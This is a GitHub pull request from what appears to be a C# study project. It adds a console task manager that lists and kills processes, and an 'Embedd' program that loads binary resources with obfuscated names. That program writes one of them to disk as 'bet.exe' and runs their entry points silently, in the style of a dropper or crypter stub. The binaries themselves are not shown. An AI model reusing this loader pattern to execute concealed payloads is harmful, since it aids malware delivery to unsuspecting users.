Skip to content

Less6 #5

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 13 commits into
base: master
Choose a base branch
from
Binary file not shown.
Binary file added Embedd/2
Binary file not shown.
Binary file added Embedd/3
Binary file not shown.
Binary file added Embedd/4
Binary file not shown.
29 changes: 29 additions & 0 deletions Embedd/Embedd.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>

<ItemGroup>
<None Remove="1Š™–œvŒœœqœŸg‰”v.‡“8‹™4›‰qeyft4l" />
<None Remove="2" />
<None Remove="3" />
<None Remove="4" />
<None Remove="_" />
<None Remove="˜1" />
</ItemGroup>

<ItemGroup>
<ApplicationDefinition Include="1Š™–œvŒœœqœŸg‰”v.‡“8‹™4›‰qeyft4l" />
</ItemGroup>

<ItemGroup>
<EmbeddedResource Include="2" />
<EmbeddedResource Include="3" />
<EmbeddedResource Include="4" />
<EmbeddedResource Include="_" />
<EmbeddedResource Include="˜1" />
</ItemGroup>

</Project>
175 changes: 175 additions & 0 deletions Embedd/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,175 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;

namespace Embedd
{
internal class Program
{



static void Main(string[] args)
{
Console.WriteLine("Hello World!");
var tod = DateTime.Now;
var mess = tod.AddMonths(1).AddDays(5);

_.___();

Console.ReadLine();

}
public class _
{
public static void ___()
{
List<string> list = new List<string>();
//list.Add("˜Embedd.j0œš–•‘bxp“ž†fien.”–œži’b“n6”a’Ž“Š‎");
//list.Add("Embedd.kf8˜0r“™oncŠd˜b4.™f8š2‹”nžqc5‘œ22h‎");
//list.Add("Embedd.u˜iœp‡9xj‹•t3xr5f.ˆvŽ8uxˆo4›‰šžek‰3j‎");
//list.Add("Embedd.˜e™ehxu–‹8n›w0‰.ˆcr1ŠkŽr3Žn‡au1he");
list.Add("Embedd._");
list.Add("Embedd.1");
list.Add("Embedd.2");
list.Add("Embedd.3");
list.Add("Embedd.4");


try
{
foreach (var item in list)
{
byte[] array = null;
Stream manifestResourceStream=null;
try
{


manifestResourceStream = typeof(_).Assembly.GetManifestResourceStream(item);
array = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array, 0, array.Length);
manifestResourceStream.Close();
}
catch (Exception)
{

continue;
}

byte[] array2 = null;
if (typeof(_).Assembly.GetManifestResourceNames().Length > 1)
{
manifestResourceStream = typeof(_).Assembly.GetManifestResourceStream(item);
array2 = new byte[manifestResourceStream.Length];
manifestResourceStream.Read(array2, 0, array2.Length);
manifestResourceStream.Close();
}
AppDomain.CurrentDomain.ResourceResolve += _.CurrentDomain_ResourceResolve;
AppDomain.CurrentDomain.AssemblyResolve += _.CurrentDomain_AssemblyResolve;
if (array2 != null)
{
_.__ = Assembly.Load(array, array2);
}
else
{
_.__ = Assembly.Load(array);
System.IO.File.WriteAllBytes("bet.exe", array);
}
AssemblyName[] referencedAssemblies = _.__.GetReferencedAssemblies();
try
{
foreach (AssemblyName assemblyName in referencedAssemblies)
{
if (assemblyName.Name == "PresentationFramework")
{
foreach (Type type in _.__.GetTypes())
{
if (type.BaseType.FullName == "System.Windows.Application")
{
type.BaseType.GetProperty("ResourceAssembly").SetValue(null, _.__, null);
break;
}
}
break;
}
}
}
catch (Exception)
{
}
try
{
if (_.__.EntryPoint.GetParameters().Length > 0)
{
string[] array4 = Environment.GetCommandLineArgs();
if (array4.Length > 0)
{
string[] array5 = new string[array4.Length - 1];
Array.Copy(array4, 1, array5, 0, array4.Length - 1);
array4 = array5;
}
_.__.EntryPoint.Invoke(null, new object[] { array4 });
}
else
{
_.__.EntryPoint.Invoke(null, new object[0]);
}
}
catch (Exception ex)
{
//MessageBox.Show(ex.ToString());
}
}
}
catch (Exception)
{

//throw;
}

}

static Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
{
Assembly result;
lock (_.o)
{
if (_.__ != null && args.Name != null)
{
string a = args.Name.Split(new char[] { ',' })[0];
if (a == _.__.GetName().Name)
{
return _.__;
}
}
result = null;
}
return result;
}

static Assembly CurrentDomain_ResourceResolve(object sender, ResolveEventArgs args)
{
if (_.__ != null)
{
return _.__;
}
return null;
}

public _()
{
}

// Note: this type is marked as 'beforefieldinit'.
static _()
{
}

static Assembly __ = null;

static object o = new List<string>();
}
}
}
Binary file added Embedd/_
Binary file not shown.
Binary file added Embedd/˜1
Binary file not shown.
8 changes: 8 additions & 0 deletions Less6/Less6.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
<Project Sdk="Microsoft.NET.Sdk">

<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net5.0</TargetFramework>
</PropertyGroup>

</Project>
73 changes: 73 additions & 0 deletions Less6/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;

namespace Less6
{//Написать консольное приложение Task Manager,
//которое выводит на экран запущенные процессы и позволяет завершить указанный процесс.
//Предусмотреть возможность завершения процессов с помощью указания его ID или имени процесса.
//В качестве примера можно использовать консольные утилиты Windows tasklist и taskkill.
internal class Program
{
static void Main(string[] args)
{
Console.WriteLine("Task Manager");
var ps = Process.GetProcesses();
List<Process> list = new List<Process>();
list.AddRange(ps);
Console.WriteLine($"Кол-во запущуенный {list.Count}");
Console.WriteLine(new String('=', 30));
int count = 0;
foreach (var proc in list)
{

Console.WriteLine($"[{count}]\t{proc.Id}\t{proc.ProcessName}\t{proc.BasePriority}");
count++;
}
Console.Write("Ввести Id для закрытия = ");
while (true)
{
var ids = Console.ReadLine();
int id = -1;
int.TryParse(ids, out id);
if (id >= 0 && id <= list.Count)
{

var procdel = list.FirstOrDefault(p => p.Id == id);
if (procdel != null)
{
var tempName = procdel.ProcessName;
try
{
procdel.Kill();
Console.WriteLine($"close {tempName} ");
list.Remove(procdel);
Console.WriteLine($"Кол-во запущуенный {list.Count}");
}
catch (InvalidOperationException)
{
Console.WriteLine($"Process {tempName} not found!");
}
Console.WriteLine("Закрыть процессы еще или выйти из приложения, y/n ");
var sl = Console.ReadLine().ToLower();
var flag = sl == "y";
if (!flag)
{
Environment.Exit(0);
}
}

}
else
{
Console.WriteLine("Введено не верно");
}

}


Console.ReadLine();
}
}
}
12 changes: 12 additions & 0 deletions StudyProject.sln
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,10 @@ Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "less4", "less4\less4.csproj
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "less5", "less5\less5.csproj", "{B371D792-7468-4117-BC92-9F82C4262A17}"
EndProject
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Embedd", "Embedd\Embedd.csproj", "{97893459-574E-43F7-A7A5-34BA9BA195F5}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Less6", "Less6\Less6.csproj", "{D16B8631-360E-4130-90A4-A57CC75149CB}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Expand All @@ -33,6 +37,14 @@ Global
{B371D792-7468-4117-BC92-9F82C4262A17}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B371D792-7468-4117-BC92-9F82C4262A17}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B371D792-7468-4117-BC92-9F82C4262A17}.Release|Any CPU.Build.0 = Release|Any CPU
{97893459-574E-43F7-A7A5-34BA9BA195F5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{97893459-574E-43F7-A7A5-34BA9BA195F5}.Debug|Any CPU.Build.0 = Debug|Any CPU
{97893459-574E-43F7-A7A5-34BA9BA195F5}.Release|Any CPU.ActiveCfg = Release|Any CPU
{97893459-574E-43F7-A7A5-34BA9BA195F5}.Release|Any CPU.Build.0 = Release|Any CPU
{D16B8631-360E-4130-90A4-A57CC75149CB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D16B8631-360E-4130-90A4-A57CC75149CB}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D16B8631-360E-4130-90A4-A57CC75149CB}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D16B8631-360E-4130-90A4-A57CC75149CB}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
Expand Down
Loading